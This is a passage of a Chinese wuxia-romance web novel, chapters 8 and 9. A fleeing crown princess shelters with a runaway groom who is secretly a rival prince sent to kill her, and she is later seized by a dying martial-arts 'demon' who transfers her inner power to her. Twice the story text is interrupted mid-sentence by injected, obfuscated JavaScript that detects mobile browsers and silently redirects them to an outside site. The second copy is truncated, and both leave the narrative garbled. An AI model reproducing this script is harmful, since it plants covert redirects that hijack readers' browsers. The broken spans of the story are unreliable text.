新娘子得到回答,似乎对他的性子略有了解,道:“那行,若你有什么需要便喊人。” 新郎:“知道了。” 待脚步声远去,新郎淡淡的望着她,似乎在说,可以了吗? 胥璜收回簪子:“抱歉,我……” 话没说完,就叫新郎捡起盖头盖上,往车壁一靠。 胥璜:“……” 就,又睡了? 这不是心大了,是没长心吧? 8. 第 8 章 不过眼下境况胥璜也顾不得上他心大不心大了,她再不走被雾影发现一切都白搭了。 “多谢。” 胥璜想起什么,起身前试探同他商量:“或者,你愿意再配合一次,被我挟持出去?” 她是可以直接离开,可若被人瞧见她从他马车里出去,说不准会牵连他。 然这人并不领情,或者说毫不在意:“不送。” 胥璜:“…好的吧。” 胥璜不做迟疑,找准时机便从窗口一跃而出,惊的随从大喊。 “谁?” “有刺客!” 胥璜趁着他们还没反应过来,已经纵身冲出了重围,头也不回的跑进密林中,确认消失在他们视野中后,怕雾影向接亲队伍打探她的踪迹,又转往另一个方向逃去。 没了马,胥璜竭尽所能奔跑,有句话叫书到用时方恨少,她现在是深有体会。 她如今的内力过于浅薄,身体也远不如梦中灵活,一旦被发现,就绝无可能从雾影手中逃掉。 她只能尽可能拉远他们的距离。 胥璜不知道跑了多久才停下,扶着树狼狈的喘着粗气。 太累了,再跑下去没被雾影抓到,她得先累死。 但她也不敢歇息,只能稍微放慢脚步。 自从做了那个反反复复的梦后,她不知不觉增加了许多敏锐力。 当熟悉的气息从背后袭来时,胥璜又不得不加快脚步。 她失算了,早知如此该多带几个暗卫出来,怎么也能为她拖延些时间。 也不知道明鸷此时有没有脱身。 她不敢给他留记号,这样追下去,他们能不能会和都是未知。 突然,前方闯入一抹红,在满目绿色中极其显眼。 胥璜颇觉眼熟,定睛瞧去,瞥见了半边金色面具,她心中一怔,这不是前不久才见过的新郎么? 二人从两个方向来,逃亡路线却一致,对方很快就发现了她。 四目相对,一个迷茫,一个不解。 胥璜追上去率先开口:“你怎么在这?” 这与去皇城的路线相悖,他怎会一个人闯到这密林来? 新郎淡淡道:“逃命。” 胥璜又是一愣,忙道:“逃命?你被人追杀了?莫不是被我连累了?” 不应该吧,他大可同新娘子解释清楚,看那新娘子对他很是在意,便是生气,应不至于因此追杀他吧? “不是。” 胥璜愧疚略减:“那就好。” 随后又问道:“那你逃什么命?” 新郎:“她与我提前拜堂。” 那女人见有女子从他马车里出来,说是怕他被劫走,不放心,非要与他提前拜堂。 真是疯了。 他只是搭个便车,没打算把自己搭出去。 “但这么说起来,确实是受你连累。” 胥璜:“……这又从何说起?” “难不成新娘子要与你提前拜堂,是因为我见从你马车里出来?” “可以这么说。” 胥璜心中甚觉古怪,听起来,新娘子似乎对他过于不放心了。 她怎么觉得这婚好像哪里不太对劲呢? “那个……我就是好奇,你是自愿成婚的吗?”胥璜斟酌着试探开口。 “难说。” 胥璜:“…” 是就是,不是就不是,难说是个什么意思? 胥璜顿时被勾起了好奇心:“细说呢?” 新郎淡淡瞥了她一眼:“我觉得你比较危险,你离我远一点。” 胥璜:“…我也这么觉得,但前面就一条路。” 总不能叫她往回跑? 但很快她便发现,好像没什么区别,因为前方没路了。 两人双双停下脚步,盯着前方的断崖傻了眼。 几乎同时开口:“操。” 二人对视一眼,又轻飘飘挪开,再次默契的往前一步,探了探崖底高度。 “倒是摔不死。” 胥璜犹豫道:“不过,你有必要吗?” 被抓回去不过就是拜个堂,不至于如此拼命吧? 新郎眼睛朝她斜来:“你有必要吗?” 胥璜咬咬牙:“我被抓回去,大约会死觉得摔不死的话……” 新郎懒得与她多说:“跳。” 胥璜看着毫不犹豫跳下去的红影,忍不住咂舌,成个婚比命还重要? 胥璜没再多犹豫,跟着纵身一跃。 二人各凭本事在山崖寻找落脚点,一段一段往下落。 胥璜没料到坐马车都要在车壁垫软垫的人竟然有些身手,不过和她一样,有但不多。 一路磕磕碰碰,好歹是落到了崖底。 新郎喜服被划破了好几道口子,额角还被勾出了一条小条血印,胥璜的头发松散了,衣袖被划破,手腕也受了伤,二人脸上也都不知从哪儿沾染了些尘土。 总之,二人形容狼狈,谁也没好到哪里去。 二人视线一触即分,许久都没人开口,正在胥璜想要说什么时,新郎先道: “你离我远些。” 胥璜将即将出口的关心咽了回去。 她知晓他是怕被她连累。 毕竟追他的人身手都相对弱些。 “行吧。” 胥璜四下看了眼,指了指东边:“我往那边走。” 新郎毫不犹豫的朝相反的方向走去。 二人背道而驰,分道扬镳。 黄昏落尽,天色也渐渐暗了下来。 胥璜虽在梦里经历诸多苦难,但在现实中她还从未孤身离开过皇城,更何谈陌生充满危险的密林。 不出意外,这林中必有野兽出没。 胥璜思索片刻,决定先寻个安全的地方将就一晚,否则到了夜里,还不知要面临怎样的危险。 胥璜运气不错,在天黑前找到了一处山洞,她小心翼翼掩盖好行踪,又将洞口布置了番,才放心的进入洞中。 这条山洞很长,且隐有滴水声,凉气扑面而来,胥璜不由打了个寒颤。 幸好明鸷给她的包袱里有火折子,今夜应不会太过难熬。 胥璜正打算寻个干爽的地方安顿下来,便有对面有动静传来,她一颗心顿时提了起来,飞快侧身躲在石头后。 洞中一片漆黑,只隐约能瞧见人影,脚步声越来越近,胥璜屏气凝神,将内力聚于掌心。 她从脚步声中分辨出只有一人,若是雾影卫,她或许能试一试。 但她没想到,对方出手比她还快,感觉到掌风迎面而来,她下意识抬手去挡。 二人交过一招,衣袖交缠在一处,胥璜隐约瞧见红色。 一个猜想闪过心头:“新郎?” 对方一顿,缓缓撤了手。 胥璜便知她猜对了。 真真是巧合,这都能碰上。 “那边也有入口?” 想到什么,胥璜问道。 “嗯。”新郎随后反应过来胥璜在担忧什么,补充道:“封好了。” 胥璜闻言轻轻嗯了声。 “今夜要在这里将就一晚了,那边比较干爽。” 新郎立在原地没动。 胥璜以为他不愿过去,便先折身离开,却感觉到身后的人跟了过来。 胥璜这才后知后觉明白,原来,他方才是看不见她指的方向。 胥璜取出火折子点燃,稍微等了等他,带他到了地方,胥璜道:“你先在此处等等,我去看看附近有没有柴。” 原以为他不会回答,却没想他温柔应了句:“好。” 胥璜并不擅长做这种事,但洞中太过寒凉,若不生火,他们今夜怕是得被冻死在这儿。 所幸她很快便在石缝中寻到了干柴。 胥璜试了几次才将柴点燃。 火光照亮了山洞,胥璜一眼便看见那人靠着石壁坐着。 面具之外的半张脸在火光下轮廓分明,眼眸分明清澈,可却透着些慵懒。 似乎带着几分困倦。 这人,怎么好似总不够睡。 气氛沉默下来,胥璜寻找话题打破沉默,接着方才的话题道:“你方才的意思是,你并非自愿成婚吗?” “顾栖风。” 胥璜顿了顿,才想起方才见他时,她唤了声‘新郎’,他愿意自报名姓,想来是真不喜欢这门婚事。 对方自保家门,作为回礼,她也应当告知自己名姓,正思索该用什么化名,突见夜色下有荧光一闪一闪,这山洞里竟有萤火虫。 胥璜轻声道:“我叫涂萤。” 爹爹姓涂,不过涂是大姓,她也不担心被他怀疑什么。 “顾郎君这桩婚事可有隐情?” 原本这是他的私事,她不该追着过问只是她总觉得事情有些诡异,作为胥月皇太女,理应弄清楚这其中是否有违律法。 顾栖风盯着她,清澈的眼眸亮了亮,才道:“我是被抢来的。” 胥璜神色一紧:“抢来的?” 她竟不知皇城附近竟还有这样的事。 “嗯。” 顾栖风道:“我本要去皇城省亲,途中与家仆走散,落难时,被那家女郎瞧中,为我解困但条件是要我嫁她为夫。” “我本不愿,但奈何能力低微,抵抗不得。” 正好,他要去皇城见一个人。 那女郎承诺可让他一路不受颠簸,他便顺势应了。 能有舒适的马车坐,何必没苦硬吃。 胥璜越听脸色越难看。 三皇妹虽也惯爱美色,但却讲究你情我愿从未真的强迫过谁。 这已不是挟恩图报,是明目张胆的抢人了。 可惜现在她自身难保,无法为她主持公道,只能压下心中怒气,放轻声音道。 “你在皇城有何亲戚?” 有一宿敌。 顾栖风淡声道:“一知己。” “原是如此。” 胥璜没再多问,想了想从包袱里取出一锭银子给他:“我看那行人中并无身手过人者,此去皇城不算太远,你只需躲开他们去城镇买匹马……” 胥璜顿了顿,又拿出一锭银子:“买辆马车吧。” 看他这样子也不像是能受那颠簸之苦的。 顾栖风眼眸又亮了几分,总算露出了见到胥璜后的第一个笑容,伸出手。 “多谢女郎。” 胥璜被这个笑容晃了眼。 纯澈,无暇,一看便是出身不凡,金堆玉砌养大的公子。 也不知是哪家公子落了难,要遭这样的罪,真真是可怜。 胥璜将银子放入他掌心,目光从那只骨骼分明的手上一扫而过。 同她一样,虽是习武,手心却没什么茧子,不过从目前来看,倒也符合他的性子。 说不准,他们还是同道中人。 “望你早日寻到你的知己,把酒言欢。” 顾栖风收好银子:“好。” 他确实很想快些寻到她,杀了她。 如此,才不枉费他折腾这一场。 只要她死了,他便可高枕无忧,此行才算是值得的。 火星子隔三差五的炸开,二人很久都没再言语,胥璜睡不着,见顾栖风也睁着眼,便再次开口道:“听你口音,不像皇城附近的人,怎会有知己在皇城。” 许是拿人手短,顾栖风话多了些。 “曾与她在另一方天地相识,引为知己,思之念之,特来此相寻。” 从出发那日,他每日所思所想便是希望她能自己撞到他的跟前,不必他千山万水前来寻她,最好,刚刚好撞在他的剑上。 眼下只望他打探的消息无误,此时此刻,她当真纨绔贪玩好哄骗。 胥璜很有些羡慕这种情意:“听起来倒很是美好,望你早日见到他,共续旧情。” “嗯。” 顾栖风看了眼胥璜,许是觉得自己应当说些什么,便随口问道:“你呢,你被何人所追?” 胥璜面不改色,眼也不眨道:“不慎抢了一位贵人心爱的美人,被其追杀。” 顾栖风显然没想到是这样的答案,神情略显古怪。 胥璜想起什么,忙解释道:“与你不同,我只是与她正当合理的争抢了番,并没有强迫的意思,那美人选了她,我便离开了。” “但……也因此得罪了贵人。” “哦。”顾栖风。 “你准备往何处逃?” 胥璜:“她家权大势大,我一时半会儿不能回去,我打算往西边去,暂时躲避一段时日。” 顾栖风又轻轻嗯了声。 之后很久二人都没再开口。 但不知为何,明明在陌生的环境,胥璜却渐渐有了困意,不知不觉靠在石壁上睡了过去。 等她再次醒来时,天已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411454|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经亮了。 她下意识去寻那么红色,却发现人早已不见踪迹。 胥璜蹙了蹙眉头,正想要出去寻一寻时,发现了墙上刻的字。 ‘后会有期’ 原来是提前离开了。 胥璜揉了揉发酸的肩膀,她如今的警戒果然还是太轻了,竟在一个陌生人身旁睡着不说,连他何时离开的她都不知晓。 肚子突兀的响了响。 胥璜这才想起她好像大半日都没有吃过东西了,眼下此处定然是寻不到吃食的,只能先去林子外找找看了。 胥璜没在林中寻多久,便听见一道熟悉的哨声,她眼眸一亮,是明鸷寻来了! 胥璜赶紧往哨声的方向找去,不过半刻便与明鸷碰上了头。 “殿下。” 胥璜上下打量了眼明鸷,见他无碍,道:“你如何甩开雾影的?” “属下藏匿在一农户家,躲开了雾影卫的追踪,过来的途中遇到了一队接亲队伍,打听一下,知道殿下到了这片密林,属下这才寻来。” 胥璜见他衣角鞋上全是露水,皱了皱眉:“你寻了我一夜?” 明鸷微微颔首:“幸得寻到了殿下。” “对了,那接亲队伍听属下向他们打听殿下,对属下多有防备,说什么殿下抢了他们的新郎?” 胥璜:“……” 这真是天大的冤枉! “没有。” 胥璜快速将原委复述了一遍。 “原是如此。” 但明鸷仍有些后怕:“殿下,出门在外,万不可轻信于人,独处一夜实在危险。” 但这话一出,他沉默了。 以殿下的性子,危险的是谁还说不准。 胥璜想起那人纯澈无害的模样,摸了摸鼻子:“嗯……你说的有道理。” 但那人,实在没有半分危险。 在胥月,他遇到危险的可能性要比她大的多。 “我们走吧。” “是。” 明鸷:“属下已经将殿下的马寻回,途中发现一个驿站,买了份舆图,我们往北边绕行,距离虽然远了点,路会顺畅些。” 胥璜无比庆幸她带了明鸷出来。 当然,她也不是随意带的。 梦里,她曾陷入包围,是明鸷护着她突围,化险为夷。 最后,暗卫统领身死,他成了她身边最得力的人之一。 还有一位军师…… “殿下?” 胥璜回过神,点头:“走吧。” 离她遇见军师的日子还有两年。 - 两日后 胥月皇城。 客栈中,一位通身贵气,带着面具的男子负手立在窗边,听着手下人的回禀。 “属下已经打探过,据皇城百姓说,几日前,皇太女在醉春楼与三公主争抢一个小倌,那小倌却当众选择了三公主,皇太女因此大受打击,放言说不找到比那小倌更好的美人便不回皇城。” “属下还听说,胥月皇太女当中给那小倌写了一首情诗,用的是东殿专用的纸,因可见其用情极深,甚至还想将人抢走。” 若胥璜在此,一定会认出男子正是那位被抢的‘新郎’顾栖风。 顾栖风越听面色越古怪。 倒是巧,他前几日也遇见过一个抢美人的女子,不过,她那样的弱的身手,断然不会是他要找的人。 顾栖风拿出怀中的一锭银子。 梦中的胥璜长了八百个心眼子,也断然不会像那女子那般轻信于人。 “殿下,属下斗胆一问,您为何一定要寻胥月皇太女?” 顾栖风正是凤昭太子,凤岐。 凤岐望着平静而热闹的街市,思绪渐渐飘远。 是啊,他乃凤昭太子,与胥月皇太女从未蒙面,他为何要不远万里冒着重重危险来寻她呢? 因为他近几年,时常会做一个梦。 梦里战火纷飞,生灵涂炭。 几年战乱后,百姓家破人亡,天底下几乎再无这样平静的日子。 而在那场梦中,唯有胥月皇太女与他有一战之力。 他本不信鬼神,可这个梦整整困了他三年,让他不得不信了几分。 而一月前,他又做了那场梦。 天下大乱,十年鏖战后,天下各国先后依附于凤昭胥月,他于胥月皇太女胥璜注定一生一死,最终,于黄沙城决一死战。 那一战,他输了。 胥璜的老师死在黄沙城,胥璜立誓为她复仇,不知用了什么手段让南竭叛变。 他失了援军,被她算计死在了大火中。 熊熊大火中,他撑着剑半跪在地,望着那漫天火光,突然大笑不止。 可笑他征战数年,到头来竟是给他人做了嫁衣,不过,这样的结局他认。 输在她手里,他心服口服。 幸得临死之前,他安排好了后路。 即便他死了,他的军师也会带着降书投降,可保凤昭百姓无虞。 这十年,他有些累了。 他信她不会伤害凤昭百姓,他死而无憾。 若有来世... 算了,还是在地府游荡千百年待天下太平再托生去享福才好,且让这该死的乱世见鬼去吧! 梦境太过清晰,让他一度以为那是他真实经历过的一生,真实的让他以为他重生在了这一年。 如若梦境是真,他想要改变结局,最简单的办法就是在宿敌未长成之前,杀了她。 他不喜战乱,不喜杀戮,只愿过他太太平平的日子,更不愿千里迢迢吃这份苦,遭这番罪,可他不敢赌,万一那一切是真的,他必须得做点什么,以绝后患。 他虽然没见过她的模样,但他知道,她乃胥月皇太女,胥璜。 几年之后,她是一位杀伐果断,有勇有谋的帝王之才。 所以现在他开始怀疑梦境了。 因为他实在不敢相信,那样出色的女子,如今竟是这样的纨绔混账。 “去找她的踪迹,务必要找到她。” 他一定要见到她,只有见到她,他才能判断那场梦到底是真是假。 若是真的,他要不惜切代价杀了她。 若是假的那就是最好了,他便可以安枕无忧继续当他的废物太子,不必肩负苍生,每日只管吃好睡好。 他最不喜的就是打打杀杀。 “是。” 9.第 9 章 “主子,属下这几日在皇城附近寻过了,没有发现皇太女的踪迹。”廉贞禀报道:“属下发现胥月女皇近卫也在找人,其内功深不可测,属下不敢跟太近。” 连廉贞都不敢跟太近的近卫... 乔栖风轻声低喃:“雾影卫。” 梦里最后护在胥璜身侧的便是这支影卫和她的二十四节气,他的二十八宿在他们手中折损过半。 廉贞一愣:“主子怎知?” 想起什么,又问道:“莫非也是主子梦中所见?” 要说梦中所见倒也不准确。 毕竟那梦大多时候都是模糊的,除了他身边的人以外,他几乎没有看清楚过谁的脸。 但乔栖风并未多解释,只嗯了声,道:“既然连雾影卫都没寻到,你应也是找不到的。” 他已在此停留几日,不宜再久待,否则被胥月的人察觉,必定会惹来麻烦。 “先回去。” 廉贞闻言松了口气。 “是。” 主子的计划实在太过冒险,回去也好。 只是主子这番罪算是白受了。 “备舒适些的马车返程。” “是。” 便是主子不说他也知晓的。 主子向来是能躺着绝不站着的性子,这些年何曾受过这样的苦。 他每每一想到差点让人将主子抢去成婚,就恨不得提剑去砍了那些人。 - 巍峨高山绵延,蝉鸣响彻山谷,正值仲夏。 山壁上留着不少前人路过的痕迹,山路虽艰险,却是条捷径,是很多商贩无奈之下的必走之路,也在这里葬送过不少性命,因此,前些年官府出面修了另一条路,此处便渐渐的没人走了,荒废不知多时,不同于山外的燥热难耐,山间洞壁低谷渗着丝缕凉意,倒是处绝佳的纳凉圣地,然大抵是因久不见人气,难免透着几分阴森。 而这样一处崖高万丈又人迹罕至的高山,却正是围剿魔头的好地方。 今日的山涧,阴森中还透着浓郁的杀气。 蓦地,有银铃声传入山谷,一道倩影猝不及防闯入岩石入口,是位明艳不可方物的少女,她的身旁跟着一位神情严肃的俊俏男子。 正是胥璜与启蛰。 胥璜见眼前高山耸立,山壁陡峭,停下脚步探身望了眼深不可测的崖底,不敢置信道:“这样的地方怎会有路?是不是哪里走错了?” 山间凉风阵阵,不似外间燥热,倒也不算难熬,只是山路实在陡峭,这一路本就走的心惊胆战,原想着就要熬出头了,可谁曾想陡峭的山路背后,还有这样险峻的深崖石壁。 启蛰拧着眉头细细比对后,道:“没有走错,翻过这座山,再走一日,便能到凤昭皇城。” 胥璜不由咋舌,凤昭人为何要将路修在这样的峭壁之上。 正在她权衡时,启蛰突然沉声道:“殿下小心!” 与此同时,启蛰将胥璜护在身后,目光警惕的扫向头顶山崖。 胥璜下意识抬头:“怎么了?” 不等启蛰回答,胥璜便也感知到了逼近的杀气,这是她在梦境之外从未感受过的危险。 “有绝顶高手。”启蛰当机立断:“走!” 胥璜二话不说便随启蛰离开。 这一路上二人东躲西藏,好不容易有惊无险的甩开了雾影卫,却没想到临到凤昭了竟还会遇到这样的危险。 然二人才走出几步,身后劲风已至,启蛰不得不回头护住胥璜。 也就这一驻足的功夫,已有人影从天而降,胥璜随之转身,见眼前是位约莫三十出头的女子,她着一身红黑袍子,眼神凌厉,唇角溢着几丝血迹,气息不稳,连胥璜都能瞧出她受了重伤。 胥璜打量她的同时,她已迅速将目光锁定在胥璜身上,眨眼间便已到了胥璜跟前,启蛰上前相护却被她一掌逼退,等稳住身形,女子已经用手锁住胥璜的喉咙。 “殿...主子!” 启蛰惊呼道。 一切发生的太快,饶是启蛰已经提前察觉到危险,还是输在技不如人。 女人的内力过于雄厚,且隐有走火入魔的趋势。 不等启蛰与其交涉,又先后追来六人,几人只扫了眼启蛰,便目光凌厉的盯着女人:“魔头,休要再逃!” 女人冷笑道:“好一个名门正派,这么多人欺负一个女子,真是好大的本事!” “休得胡言!” 领头那人端的一身正气,神情凛然道:“你为祸武林,残害无辜,今日我等不过替天行道。” 同行一人附和道:“同你这女魔头还讲什么公平,交出东西,或可饶你一命。” “说的倒是冠冕堂皇,不过也是另有企图罢了。”女人冷声道:“今日我便是死也不会将东西交给你们!” 两方阵营唇枪舌战,除了启蛰,没人在意被挟持的胥璜。 启蛰早已经察觉到女人状态不对劲,一时也不敢刺激她,听了来龙去脉,心中隐约有底,晓得这些人不是冲他们来的,而是为了女人手中的什么东西,他们不过是误打误撞闯入这场争斗中。 想到此,启蛰压下怒气,试图同女人谈判:“你先放开主子,有话好说。” 胥璜被紧紧掐住脖子,说不出话,只能尽量微仰着头让自己好受些。 她这是走了什么狗屎运,这样的事也能碰到。 女人头也不回道:“只要他们放我走,我便放了你主子。” 启蛰知道女人内力不可小觑,不敢强来,只能看向自诩武林正派之人,抱拳道:“我主仆二人无意闯入各位恩怨争斗,我家主子柔弱受不得惊吓,还请各位高抬贵手。” 领头之人皱了皱眉,打量了眼二人,正色朝女人道:“女魔头,先放开这位姑娘。” 女人却掐得更紧,语气阴狠:“放我走,否则我要她给我陪葬。” 胥璜有些喘不过气,闷哼了声。 启蛰脸色愈发沉重。 领头华服之人皱了皱眉,没应她,似在权衡,这时,身侧有人道:“徐盟主,为了抓这个魔女,我们已折损不少人,万不能在这时功亏一篑。” 话音将落,又有人道:“是啊徐盟主,再者这主仆二人出现在这里也不寻常,说不准与这女魔头是一伙的。” 领头的人正是当今武林盟主,徐炀。 徐炀闻言,看向胥璜启蛰的眼里带上了几丝怀疑:“敢问二位,为何会来此地?” 启蛰沉声道:“我主仆二人去往都城省亲,被舆图带来此处。” 说着,他将舆图打开展示给徐炀。 徐炀还未开口,身侧人便道:“简直满口胡言,这条路早就没人走了!” “对啊,好好的官道不走,翻山越岭作甚?” “莫不是与这女魔头商议好用此计脱身吧?” 徐炀眼神渐渐冷了下来。 良久后,道:“你二人身份实在可疑,待我擒住这女魔头再行查证。” 女人这时阴狠笑道:“行了,装什么正义君子,无非就是舍不得我手中的东西,不愿放过无辜之人罢了,还非给人按上罪名,才能杀得心安理得,你们自诩名门正派,满口仁义道德,不过都是吃人不吐骨头的恶魔!” 启蛰脸色越来越沉。 身为皇太女的贴身暗卫,自小练就一身本事,又岂会揣摩不出徐炀等人的心思。 他们这是打算不顾殿下死活了。 启蛰明白今日无法靠徐炀救人,便朝女人道:“你要如何才肯放了主子?” 女人眼眸一转,道:“我只想脱身,你若能助我,我保证不伤你主子分毫。” 启蛰抬眸看向胥璜。 胥璜艰难的眨了眨眼。 一方是虚伪的正义君子,一方是心狠手辣的女魔头,哪边都不可信。 奈何她的命握在女魔头手中。 启蛰接到示意,点头:“我答应你!” 徐炀等人脸色骤变。 “果然是一伙的!” “今日谁也别想走!” 众人虎视眈眈,只等徐炀下令,徐炀缓缓抬手:“这二人与女魔头为同伙,格杀勿论!” 启蛰怕他们伤着胥璜,提剑便迎了上去。 女人则挟持着胥璜被逼缓缓后退。 这些人都是江湖中数一数二的高手,十年后的启蛰或许能拦住他们,可如今的启蛰以一敌六,应对的极其吃力。 可他的身后是胥璜,他不能退。 胥璜眼睁睁看着他伤痕累累,却还死死挡在她前面,这样下去他怕是得死在这里,胥璜急的拍了拍女魔头的手。 女魔头见她有话说,松了些力道:“你这护卫倒是忠心。” “咳咳……” 胥璜忍着喉咙的不适,道:“他不是他们的对手,这样下去我们都会死。” “你有什么好办法?”女人。 都快被逼至绝路了,胥璜能有什么好办法,但到底受制于人,不敢触怒她。 “你内力那般深厚,若与他联手,未必没有胜算。” 女人没吭声。 好半晌才道:“这么想救他,这是你小情郎吧。” 胥璜:“……” 都这关头了,她脑子里还在想些什么! “我已经被他们不眠不休追杀了三天,我若还有气力,又何必挟持你?” 胥璜皮笑肉不笑:“…那你可真厉害。” 被追杀三天还能一招击退启蛰。 眼看启蛰又受了伤,胥璜忍不住了:“你放开我,我去帮他。” 后来那些年,启蛰是她身边最重要的同伴之一,她绝不可能眼睁睁看他死在这里。 “那可不行,放了你,你和你的小情郎逃了怎么办?”女人阴恻恻道。 胥璜脾气向来平和,此时却难得的动了怒:“这也不行,那也不行,你想怎样?” “堂堂女魔头,在这做缩头乌龟等死?横竖一死,不拼一把对得起你这名号?” 女人:“…” 女魔头是个什么很威风的名号吗? 说话的功夫,启蛰又挨了一掌,半跪在地吐出一口鲜血,但仍持剑护在她们身前。 女人眼神隐隐发红。 这一幕,宛若场景重现。 胥璜看的心中发紧,正想强行脱身去助启蛰,耳畔却响起低微的声音:“敢赌一把吗?” 胥璜一怔:“怎么赌?” “他们要的是我,我带你走,他们自然顾不上你的小情郎。”女人徐徐道。 “赌。” 胥璜毫不犹豫同意,可又有些疑惑道:“你若能走,一个人岂不是更好脱身,何必带上我这个累赘。” 女人弯了弯唇角:“你可不是累赘。” 说罢,不等胥璜作何反应,便飞速封住她的穴道,一把搂住她的腰,往崖底一跃而下。 “啊。” 胥璜猝不及防身体失重下意识惊呼出声,随后便觉冷风袭面,目之所及是一眼望不到头的崖底。 她这才反应过来女人带她跳了崖。 眼前这崖与先前那断崖可不一样,这崖深不可测,跳下去怕是连渣都不会剩。 操! 这能叫赌?这跟送死有什么区别! 只可惜冷风灌脸无法开口骂人,穴道被封住什么都做不了,只能闭上眼一边在心里怒骂,一边安慰自己听天由命。 “主子!” 启蛰察觉到身后动静,扑到崖边目眦欲裂:“主子!” 徐炀几人显然也没预料到这一幕,纷纷掠到崖边探头往崖底望去。 “噗!” 一道闷哼声突然响起,众人急忙回头,却见一个同伴被一剑穿过心脏,他的鲜血溅到启蛰眼睛上,显得男子凶狠中带着几分疯癫。 死的是最先开口说胥璜与女人是一伙的男子。 启蛰缓缓抬眸看着余下几人,目光定在徐炀脸上,咬牙一字一句道:“你们,都给主子陪葬!” 说着便提剑朝几人砍去。 他不要命的打法一时间竟牵制住徐炀几人,可眼下他们要的东西还在女魔头手中,实在不能在此纠缠,活要见人,死要见尸! 徐炀找到机会脱身,下令:“拦住他!” 有三人随他下山,另外两人负责牵制启蛰,启蛰此时已是万念俱灰,脑子里几乎只剩下杀戮。 他要为殿下报仇。 半刻钟后,启蛰提着剑满身鲜血的立在崖边,他没有保护好殿下,本想跳下去赎罪,可又一想,不能让殿下死在异国他乡。 无论如何,他都要带殿下回去。 而他心中,亦存着那么一点点的念想。 万一…万一殿下吉人自有天相。 总之,活要见人,死要见尸。 - 胥璜是被打醒的。 醒来脸上都是火辣辣的痛,她迷茫的睁开眼,对上一张美艳但无情的脸和女人停留在半空将要落在她脸上的手。 见她睁了眼,女人轻飘飘收回手,小幅度的甩了甩:“醒了。” 胥璜不可置信的瞪着她:“你打我。” “从没有人打过我的脸。” 女人本无动于衷,见胥璜捂着脸眼底蓄起了泪光,眼神才微微闪躲开:“你晕过去了。” 胥璜:“所以呢?” 女人一本正经道:“我们在逃命,你再不醒,等他们追上来,得死。” 胥璜气的眼泪直往下落。 “那是因为谁逃的命?” 她是真的委屈。 哪怕在梦里,她也没挨过谁的巴掌。 女人见她泪珠子跟不要钱似的往下掉,皱了皱眉:“行了,从这么高的崖上跳下来,我能护住你不死就不错了。” “那是谁带我跳的?”胥璜目眦欲裂质问。 女人阴狠的面上难得有几分心虚,但显然她不太会哄小姑娘,生硬道:“你想怎样?” 胥璜气笑了。 她平白受这无妄之灾,还挨了她不知道几巴掌,还理直气壮问她想怎么样? “怎有你这样厚脸皮的女人?” 女人被骂了也没生气,反倒是又平静了下来:“你是要在这里骂我,等他们追来被他们杀死,还是想活?” 胥璜一口气憋在心里上不来下不去。 她恨恨瞪了会儿女人,才压着满心怨怒打量了眼四周,这才发现他们竟是在峭壁上一块突起的石板上。 若那些人追来,她们无处可逃。 胥璜的火气压不住了:“这跟方才有什么区别?还能有什么活法?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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胥璜惊恐的瞪大眼,却又动弹不得分毫。 疯子,这真是她见过最疯的疯子! 待确认胥璜将她的血咽下,女人才放开胥璜,在她开口前,道:“你拜我为师,我自然要传给你些什么。” “我不要!” 胥璜咬牙喊道。 “容不得你不要。” 女人迅速在她身上点了几处穴位,其中包括哑穴。 “你太吵了,先别说话免得将人引来。” 女人边说边将她搬正坐好,随后就将掌心落在她双手之上。 胥璜动不得,说不得,心头火气疯狂往上窜,这个女人到底要做…… 突然,胥璜感受到什么,猛地一怔。 “屏气凝神,不要抗拒。” 胥璜瞳孔巨震,她在传她内力! 她的武师傅曾同她说过,习武要走正道,像这种吸收他人内力的都是歪门邪道,万不可取! 因为内力一旦通过这种方法传入他人体内,传送内力者不死也废了。 “凝神!” 女人冷声道:“心神不稳会走火入魔,静脉俱断。” 胥璜自然晓得其中利害,只能强行压下心中惊愕,不敢再走神。 她还有很多事要做,不能将命搭在这里。 大约过了两刻钟,女人缓缓睁开了眼。 胥璜抬眼神情复杂的看向她,见她脸色愈发苍白,唇上也没什么血色了,她很想问她为何要这么做,可被点了哑穴,一句话也说不出来。 “不必如此看着我,我并非白将内力给你。”女人声音虚弱道。 “你内力过于浅薄,想要将我的内力融会贯通需要很长一段时间,在这之前切记不要动用内力。” 胥璜:“…” 浅薄就浅薄,倒也不必加个过于。 女人缓了一会儿,吃力的从怀里取出一个带血的盒子,缓缓放到胥璜手中:“这是他们要的东西,我现在把它交给你。” 女人握紧胥璜的手,抬头眼神凌厉的看着她:“绝不能让它落入歹人手中,这是为师嘱托你的唯一一件事。” “若违此命,天诛地灭。” 胥璜哑然,她何时同意认她这个师父了。 耳边风声呼啸,似有危险将至。 女人语气急变:“记住,寻到卓家后人,将它交给他。” “眨眼,便是同意了。” 胥璜见女人神情有异,猜到可能追兵将至,只能眨了眨眼。 女人这才松了口气,抬手解了她的穴道,然后便脱力的半倒在地,胥璜下意识伸手扶住她,女人却轻笑了笑:“我的眼光没有错,你是个值得托付的人。” 若非良善之人,历经这种事重获自由后第一反应应是发难,而不是扶她。 “你……” “若早些认识你,或许还真有一段师徒情分。”女人打断胥璜,轻轻看着她:“曾经也有一个人,那样护过我。” 胥璜知道她说的是启蛰,解释道:“他不是我情郎……” “我知晓。” 女人笑了笑,道:“你们的眼里没有情意,只有忠义。” 她曾被一个人用性命爱过,又怎会不懂爱人的眼神应该是怎样的。 胥璜感知到女人越来越弱的气息,隐约意识到了什么,实在不解:“你为何要如此?” “你说内力?” 女人伸出手,让胥璜将她扶起来坐好,才缓缓道:“我本就时日无多,算是弥补你,也算是托付。” “还有…” 女人眼神扫过胥璜唇边的血迹:“我的血可解百毒,你喝了我的血,亦可百毒不侵。” 胥璜目光一震:“你……” 原来这才是她喂她血的缘故。 